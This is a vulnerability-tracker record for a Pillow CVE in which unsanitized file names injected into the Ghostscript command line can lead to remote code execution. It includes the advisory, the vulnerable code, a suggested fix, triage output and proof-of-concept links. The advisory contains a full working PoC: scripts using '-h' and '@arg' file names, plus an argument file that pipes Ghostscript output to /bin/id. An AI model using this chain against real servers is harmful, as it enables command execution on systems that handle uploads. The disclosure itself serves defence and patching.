{"id":"CVE-2026-112900","kind":"vulnerability","aliases":["CVE-2026-112900","GHSA-w889-685w-c8fh"],"related":[],"title":"Pillow: Argument Injection in Ghostscript call, potentially leading into RCE","description":"### Summary\n`PIL.EpsImagePlugin.Ghostscript()` builds the Ghostscript command line using the input file path (`fp.name`) **without sanitization**, placing it at `-f <infile>`. A filename beginning with `-` is interpreted by Ghostscript as an option, giving command-line argument injection; chainable to RCE (see Impact). Reproduces with Pillow's default invocation (with `-dSAFER` enabled).\n\n### Details\n_Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._\n\n#### Type\nCWE-88 (Argument Injection) (→ CWE-78 (OS Command Injection) optionally, with attacker controlled text file)\n\n#### Vulnerable Codes\n\n```python\ninfile_temp = None\nif hasattr(fp, \"name\") and os.path.exists(fp.name):\n    infile = fp.name                      # user-controlled path used as-is, without validation\nelse:\n    in_fd, infile_temp = tempfile.mkstemp()\n    os.close(in_fd)\n    infile = infile_temp\n    # ... (copy fp into a temporary file)\n\n# Build Ghostscript command\ncommand = [\n    gs_binary,\n    \"-q\",\n    f\"-g{width:d}x{height:d}\",\n    f\"-r{res_x:f}x{res_y:f}\",\n    \"-dBATCH\",\n    \"-dNOPAUSE\",\n    \"-dSAFER\",                            # default sandbox — does NOT stop this injection\n    f\"-sDEVICE={device}\",\n    f\"-sOutputFile={outfile}\",\n    \"-c\",\n    f\"{-bbox[0]} {-bbox[1]} translate\",\n    \"-f\",\n    infile,                               # injected here: inserted into argv with no check for\n                                          # option prefixes (-, --) or Ghostscript's @-file token\n                                          # => argument injection (CWE-88)\n    \"-c\",\n    \"showpage\",\n]\n# ...\nsubprocess.check_call(command, startupinfo=startupinfo)   # spawns Ghostscript\n```\n\n#### Root cause. \n\nWhen rendering an EPS image, PIL.EpsImagePlugin.Ghostscript() constructs the Ghostscript command line using the input file path (fp.name) and places it directly at the -f <infile> position of the argument list. This path is user-controllable, yet Pillow performs no validation or neutralization of tokens that Ghostscript treats specially during command-line argument parsing — in particular a leading - or -- (which Ghostscript interprets as an option rather than a filename) and a leading @ (Ghostscript's argument-file syntax, which causes it to read additional command-line arguments from the named file). Because the filename is neither normalized (e.g., forced to an absolute path or prefixed with ./) nor checked against these prefixes before being handed to the subprocess, an attacker who controls the filename passed to Image.open() can inject arbitrary Ghostscript command-line arguments. This is a classic argument-injection flaw (CWE-88), and it is not mitigated by Pillow's default -dSAFER setting.\n\n#### Affected\n- Pillow: tested on 12.3.0 (latest); vulnerable code is long-standing and appears to affect all current versions (main included).\n- Component: `src/PIL/EpsImagePlugin.py`, `Ghostscript()` — `infile = fp.name`, and the command list entry `\"-f\", infile`.\n\n#### Suggested fix\nNormalize the filename to an absolute path before it is passed to Ghostscript, so it can never be parsed as an option (`-`/`--`) or as an argument-file token (`@`):\n```python\n    if hasattr(fp, \"name\") and os.path.exists(fp.name):\n        infile = os.path.abspath(fp.name)   # was: infile = fp.name\n```\n`os.path.abspath()` guarantees the path starts with a path separator (or a drive letter on Windows), so a leading `-` or `@` can no longer reach Ghostscript's argument parser. The `else` branch already builds a safe `tempfile.mkstemp()` path and needs no change.\n\n### PoC\ndockerfile, Default run shows the argument-injection demo (poc.py); for the RCE PoC run python3 poc-rce.py.\n```\nFROM ubuntu:24.04\n\nRUN apt update\nRUN apt install -y --no-install-recommends python3 python3-venv ghostscript ca-certificates\nRUN rm -rf /var/lib/apt/lists/*\nRUN python3 -m venv /venv && /venv/bin/pip install --upgrade pip Pillow==12.3.0\nENV PATH=/venv/bin:$PATH\nWORKDIR /poc\nCOPY poc.py .\nCOPY poc-rce.py .\nCOPY arg .\n\nCMD [\"python3\", \"poc.py\"]\n```\npoc.py\n```\nimport os\nfrom PIL import Image\n\n############################################################################################\n# Attacker controlled file\n############################################################################################\n\nEPS = b\"%!PS-Adobe-3.0 EPSF-3.0\\n%%BoundingBox: 0 0 100 100\\n%%EndComments\\nshowpage\\n\"\n\nname = \"-h\"\nwith open(name, \"wb\") as f:\n    f.write(EPS)\n\n############################################################################################\n\nprint(f\"[*] Pillow opens a file whose name is {name!r}\")\nim = Image.open(name)\nprint(f\"[*] call `load()`; this paths calls `gs` command with '-f {name}'\")\ntry:\n    im.load()\nexcept Exception as e:\n    print(f\"[*] load() raised: {type(e).__name__}: {e}\")\n\nprint(\"CWE-88: argument injection; Pillow code doesn't validate argument name\")\nprint(\"        This poc.py shows the vulnerability clearly.\")\nprint(\"        If Pillow checks the name of file before it uses, It won't display `help`\")\n```\npoc-rce.py\n```\nimport os\nfrom PIL import Image\n\n############################################################################################\n# Attacker controlled file\n############################################################################################\n\nEPS = b\"%!PS-Adobe-3.0 EPSF-3.0\\n%%BoundingBox: 0 0 100 100\\n%%EndComments\\nshowpage\\n\"\n\n# To chain this vulnerability into critical RCE, We need another arbitrary text file\n# In this script, it is `arg`.\nname = \"@arg\"\nwith open(name, \"wb\") as f:\n    f.write(EPS)\n\n############################################################################################\n\nprint(f\"[*] Pillow opens a file whose name is {name!r}\")\nim = Image.open(name)\nprint(f\"[*] call `load()`; this paths calls `gs` command with '-f {name}'\")\nprint(f\"[*] and this leads to arbitrary command injection.\")\nprint(f\"*********************************************\")\ntry:\n    im.load()\nexcept Exception as e:\n    print(f\"*********************************************\")\n    print(f\"[*] load() raised: {type(e).__name__}: {e}\")\n\nprint(\"\")\nprint(\"CWE-78: OS Command Injection;\")\nprint(\"CWE-88: Argument Injection  ; Pillow code doesn't validate argument name\")\nprint(\"        This poc.py shows the vulnerability clearly.\")\nprint(\"        If Pillow checks the name of file before it uses, It won't call `id`\")\n```\narg\n```\n-sOutputFile=%pipe%/bin/id\n-c\n1\ndict\ndup\n/OutputFile\n(%pipe%/bin/id)\nput\nsetpagedevice\n```\n\n### Impact\n**Confirmed — Ghostscript argument injection.** Because the filename is not validated, a leading `-`/`--` is parsed by Ghostscript as an option rather than a file. An attacker who controls the filename passed to `Image.open()` can therefore inject a Ghostscript command-line argument. Single-argument injection always succeeds.\n\n**Potential RCE (verified).** The filename is also not validated against Ghostscript's `@`-file syntax: a filename of the form `@<path>` causes Ghostscript to read additional command-line arguments from `<path>`, allowing multiple arguments to be injected at once. If the attacker can additionally control the referenced file, this can be escalated to arbitrary command execution — an escalation we verified in our PoC (execution of `id`).\n\nApplies under Pillow's default configuration (with `-dSAFER` enabled), on Pillow 12.3.0 with Ghostscript 10.02.1. With same GS arguments, I also confirmed RCE with latest GS version (10.07.1)\n\n### Why this is a Pillow bug (not the documented \"block untrusted EPS\" risk)\nThis is not the malicious-EPS-content risk described in Pillow's security policy: the flaw is triggered by the filename, not by anything in the PostScript document. A completely benign EPS file still results in Ghostscript argument injection whenever the filename passed to Image.open() is attacker-influenced, so applications that legitimately process EPS remain affected — the guidance to block untrusted EPS input does not cover this.\nBecause Pillow is the component that constructs the Ghostscript command line, ensuring a filename cannot be reinterpreted as an option (-/--) or an argument-file token (@) is Pillow's responsibility, not that of every downstream caller. The precondition — attacker influence over a filename that reaches Image.open() — is realistic (e.g., file-upload endpoints that preserve or derive the stored name from user input), and chaining it with this flaw yields RCE in practice, not just in theory. A one-line normalization (os.path.abspath(fp.name)) closes it without any change to how applications use the API.\n\n### Author\nChanu Kang (from CysecLab at KAIST) @HLe4s","summary":"Pillow builds a Ghostscript command line from the input file name without checking for a leading dash or @, so a crafted file name is read by Ghostscript as an option or an argument file. An attacker who controls the file name passed to Image.open() can inject Ghostscript arguments and, with a second attacker-controlled text file, run arbitrary OS commands on the server.","severity":"critical","cvss":9.2,"epss":0.004310000222176313,"exploited":false,"exploited_at":null,"products":[{"name":"Pillow","fixed":["13.0.0"],"affected":">= 2.6.0, < 13.0.0","ecosystem":"pypi"}],"ecosystems":["pypi"],"tags":["cwe-78","ghostscript","file-upload","poc-public","cwe-88","python","package","pillow","self-hosted"],"not_affected_if":["fixed-version-13.0.0-or-later","no-ghostscript-installed","no-user-influenced-filenames"],"how_to_check":"Run pip show Pillow and check whether the version is below 13.0.0.\nFind code that calls Image.open() or Image.load() on file names that users can influence, such as upload handlers that keep the original name.\nCheck whether Ghostscript is installed and EPS support is used (unknown whether that is required for exposure).","fix":"Upgrade Pillow to 13.0.0 or later.\nUntil then, pass only server-generated file names or file objects to Image.open(), or reject EPS input.","status":"open","published_at":"2026-10-19T22:17:10+00:00","first_seen_at":"2026-10-23T19:11:32+00:00","triaged_at":"2026-10-23T20:50:21+00:00","updated_at":"2026-10-25T16:13:10+00:00","category":"package","confidence":0.8,"triage":{"at":"2026-10-23T20:50:21Z","model":"claude-haiku-5-5","output":{"fix":"Upgrade Pillow to 13.0.0 or later.\nUntil then, pass only server-generated file names or file objects to Image.open(), or reject EPS input.","reach":"internet","impact":"high","summary":"Pillow builds a Ghostscript command line from the input file name without checking for a leading dash or @, so a crafted file name is read by Ghostscript as an option or an argument file. An attacker who controls the file name passed to Image.open() can inject Ghostscript arguments and, with a second attacker-controlled text file, run arbitrary OS commands on the server.","category":"package","who_cares":["python","pillow","self-hosted","file-upload"],"confidence":0.8,"needs_auth":"unknown","worst_case":"Attacker runs arbitrary OS commands on the server via Ghostscript","analyst_note":"Confirm whether Pillow 13.0.0 contains the abspath fix and whether the trigger needs EPS support enabled by default, using https://github.com/advisories/GHSA-w889-685w-c8fh.","how_to_check":"Run pip show Pillow and check whether the version is below 13.0.0.\nFind code that calls Image.open() or Image.load() on file names that users can influence, such as upload handlers that keep the original name.\nCheck whether Ghostscript is installed and EPS support is used (unknown whether that is required for exposure).","needs_analyst":true,"not_affected_if":["fixed-version-13.0.0-or-later","no-ghostscript-installed","no-user-influenced-filenames"],"user_interaction":"no","needs_special_setup":"yes","severity_if_unknown":"critical"},"cost_usd":0.000866,"input_tokens":5840,"output_tokens":563,"severity_before":"critical"},"analyst_status":null,"analyst_note":null,"search":"'-112900':13A,21A '-2026':12A,20A '-78':24B,179C '-88':33B,175C,299C,455C '/var/lib/apt/lists':628C '/venv':633C '/venv/bin':642C '/venv/bin/pip':634C '0':274C '1':276C '12.3.0':471C,639C '24.04':605C '685w':17A 'absolut':413C,507C 'addit':394C 'affect':467C,482C 'alreadi':575C 'appear':480C 'apt':607C,610C 'arbitrari':98B,440C 'argument':2A,72B,87B,138C,176C,296C,338C,363C,386C,398C,445C,451C,528C,570C,592C 'argument-fil':385C,527C 'argument-inject':450C,591C 'argv':284C 'as-i':209C 'attack':75B,93B,185C,430C 'attacker-control':92B 'bbox':273C,275C 'begin':125C 'binari':237C 'branch':574C 'build':41B,106C,232C,576C 'c':271C,300C 'c8fh':18A 'ca':623C 'ca-certif':622C 'call':6A,303C 'caus':310C,390C 'certif':624C 'chainabl':140C 'chang':584C 'check':52B,287C,419C 'classic':449C 'code':166C,190C,474C 'command':44B,100B,109C,136C,181C,234C,235C,304C,320C,361C,396C,443C,495C 'command-lin':135C,360C,395C,442C 'compon':488C 'construct':317C 'control':77B,94B,186C,206C,345C,432C 'copi':226C 'craft':60B 'current':484C 'cve':11A,19A 'cwe':23B,32B,174C,178C,298C,454C 'd':242C,245C 'dash':56B 'dbatch':255C 'default':149C,258C,464C,587C 'demo':594C 'detail':154C,157C 'devic':267C 'direct':331C 'dnopaus':256C 'dockerfil':586C 'drive':556C 'dsafer':152C,257C,465C 'e.g':409C 'els':214C,573C 'enabl':153C 'entri':497C 'env':640C 'ep':314C 'f':122C,239C,246C,250C,254C,265C,268C,272C,278C,334C,498C 'fd':216C,222C 'file':27B,49B,61B,73B,79B,96B,114C,188C,231C,294C,325C,387C,402C,529C 'file-upload':26B 'filenam':124C,379C,405C,434C,504C 'fix':501C 'flaw':453C 'forc':410C 'fp':197C,227C,534C 'fp.name':116C,201C,203C,327C,492C,538C,541C,544C 'g':240C 'ghostscript':5A,25B,43B,66B,86B,108C,130C,233C,292C,308C,319C,356C,371C,383C,441C,490C,514C,568C,621C 'ghsa':15A 'ghsa-w889-685w-c8fh':14A 'give':134C,155C 'gs':236C 'guarante':546C 'hand':425C 'hasattr':196C,533C 'height':244C 'help':169C 'host':39B 'imag':315C 'image.open':83B,437C 'impact':144C 'includ':487C 'incrimin':164C 'infil':192C,202C,217C,223C,224C,279C,491C,499C,539C,543C 'inject':3A,85B,139C,177C,182C,264C,280C,297C,439C,452C,593C 'input':48B,113C,324C 'insert':282C 'instal':611C,615C,635C 'interpret':128C,372C 'invoc':150C 'latest':472C 'lead':8A,55B,368C,382C,562C 'letter':557C 'line':45B,110C,137C,321C,362C,397C,444C 'list':339C,496C 'long':477C 'long-stand':476C 'longer':566C 'm':631C 'main':486C 'maintainer._':172C 'mitig':460C 'name':50B,62B,80B,198C,401C,535C 'need':582C 'neither':407C 'neutral':352C 'never':518C 'no-install-recommend':613C 'none':194C 'normal':408C,502C 'option':69B,133C,183C,289C,375C,523C 'os':99B,180C 'os.close':220C 'os.path.abspath':540C,545C 'os.path.exists':200C,537C 'outfil':270C 'p':643C 'packag':35B 'pars':364C,520C 'parser':571C 'particular':366C 'pass':81B,435C,512C 'path':115C,207C,326C,341C,414C,508C,548C,552C,580C,641C 'perform':348C 'pil.epsimageplugin.ghostscript':105C,316C 'pillow':1A,22A,36B,40B,147C,347C,462C,468C,638C 'pip':637C 'place':119C,329C 'poc':30B,585C,599C 'poc-publ':29B 'poc-rce.py':602C 'poc.py':595C 'point':161C 'posit':335C 'potenti':7A 'prefix':290C,416C,422C 'public':31B 'python':34B,191C,531C 'python3':601C,617C,619C,630C 'python3-venv':618C 'q':238C 'r':247C 'rather':376C 'rce':10A,142C,598C 'reach':567C 'read':64B,393C 'recommend':616C 'render':312C 'reproduc':145C 'res':248C,252C 'rf':627C 'rm':626C 'root':309C 'run':97B,588C,600C,606C,609C,625C,629C 'safe':578C 'sandbox':259C 'sanit':118C 'sdevic':266C 'second':91B 'see':143C 'self':38B 'self-host':37B 'separ':553C 'server':103B 'set':466C 'show':589C 'showpag':301C 'sourc':165C 'soutputfil':269C 'spawn':307C 'special':358C 'src/pil/epsimageplugin.py':489C 'stand':478C 'start':549C 'startupinfo':305C,306C 'stop':262C 'subprocess':428C 'subprocess.check':302C 'suggest':500C 'summari':104C 'syntax':388C 'temp':193C,218C,225C 'tempfile.mkstemp':219C,579C 'temporari':230C 'test':469C 'text':95B,187C 'token':295C,354C,530C 'translat':277C 'treat':357C 'type':173C 'ubuntu':604C 'updat':608C 'upgrad':636C 'upload':28B 'use':111C,208C,322C 'user':205C,344C 'user-control':204C,343C 'valid':213C,350C 'venv':620C,632C 'version':485C 'vulner':160C,189C,473C 'w889':16A 'width':241C 'window':559C 'without':51B,117C,212C 'x':243C,249C,251C 'y':253C,612C 'yet':346C","nicknames":[],"mitigations":[],"who_affected":null,"tier":"B","verified":{},"analyst_revisit_at":null,"first_public_at":"2026-10-19T22:17:10+00:00","kev":null,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cvss_by":"security-advisories@github.com","poc_count":3,"sources":[{"source":"ghsa","external_id":"GHSA-w889-685w-c8fh","url":"https://github.com/advisories/GHSA-w889-685w-c8fh","severity":"critical","published_at":"2026-10-21T19:58:44+00:00","modified_at":"2026-10-21T19:58:45+00:00","first_seen_at":"2026-10-23T19:11:32+00:00","fetched_at":"2026-10-23T19:11:32+00:00","note":null},{"source":"github-poc","external_id":"techupdate24/python-pillow-rce-cve-2026-112900","url":"https://github.com/techupdate24/python-pillow-rce-cve-2026-112900","severity":null,"published_at":"2026-10-23T12:54:16+00:00","modified_at":null,"first_seen_at":"2026-10-23T20:22:16+00:00","fetched_at":"2026-10-23T20:22:16+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-112900","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112900","severity":null,"published_at":"2026-10-19T22:17:10+00:00","modified_at":"2026-10-20T19:50:26+00:00","first_seen_at":"2026-10-23T21:57:19+00:00","fetched_at":"2026-10-23T22:28:57+00:00","note":null},{"source":"github-poc","external_id":"moprius/CVE-2026-112900-Pillow-PoC","url":"https://github.com/moprius/CVE-2026-112900-Pillow-PoC","severity":null,"published_at":"2026-10-25T00:04:53+00:00","modified_at":null,"first_seen_at":"2026-10-25T00:06:02+00:00","fetched_at":"2026-10-25T00:06:02+00:00","note":null},{"source":"github-poc","external_id":"kavin-jindal/CVE-2026-112900","url":"https://github.com/kavin-jindal/CVE-2026-112900","severity":null,"published_at":"2026-10-25T15:58:02+00:00","modified_at":null,"first_seen_at":"2026-10-25T16:13:10+00:00","fetched_at":"2026-10-25T16:13:10+00:00","note":null}],"documents":[{"id":681,"url":"https://github.com/techupdate24/python-pillow-rce-cve-2026-112900","title":"techupdate24/python-pillow-rce-cve-2026-112900","kind":"poc","source":"github","text":"A complete guide and workflow for integrating Agile sprints with DevOps CI/CD pipelines.\n\nstars 0","published_at":"2026-10-23T12:54:16+00:00","relation":"poc","confidence":null,"note":"0 stars"},{"id":3030,"url":"https://github.com/moprius/CVE-2026-112900-Pillow-PoC","title":"moprius/CVE-2026-112900-Pillow-PoC","kind":"poc","source":"github","text":"\n\nstars 0","published_at":"2026-10-25T00:04:53+00:00","relation":"poc","confidence":null,"note":"0 stars"},{"id":3531,"url":"https://github.com/kavin-jindal/CVE-2026-112900","title":"kavin-jindal/CVE-2026-112900","kind":"poc","source":"github","text":"Proof of Concept (PoC) demonstrating Argument Injection in Pillow's Ghostscript call (Pillow < 13.0.0) potentially leading to arbitrary command execution (RCE).\n\nstars 0","published_at":"2026-10-25T15:58:02+00:00","relation":"poc","confidence":null,"note":"0 stars"}],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}